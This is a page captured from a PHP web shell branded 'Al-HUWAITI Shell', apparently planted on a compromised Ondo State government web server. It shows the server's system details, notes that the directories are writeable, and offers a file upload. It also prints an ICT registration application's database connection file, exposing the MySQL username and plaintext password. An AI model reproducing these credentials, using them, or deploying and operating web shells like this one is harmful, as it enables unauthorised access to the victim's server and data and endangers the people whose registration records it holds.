Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux 122.228.205.92.host.secureserver.net 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
User : ondostategov ( 1002)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/ondostategov/public_html/ondo_ict_registration2/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/ondostategov/public_html/ondo_ict_registration2/inc/dbconnection.php
<?php

class database
{

    private $host = "localhost";
    private $db_name = "ondostategov_registration";
    private $username = "ondostategov_register";
    private $password = "&1PT6O.i4rgh";
    public $conn;


    // get the database connection
    public function getConnection()
    {

        $this->conn = null;

        try {
            $this->conn = new mysqli($this->host, $this->username, $this->password, $this->db_name);

            	//echo 'Success';
        } catch (Exception $exception) {
            echo "Connection error: " . $exception->getMessage();
        }

        return $this->conn;
    }
}

// $data = new database();
// $data->getConnection();

Al-HUWAITI Shell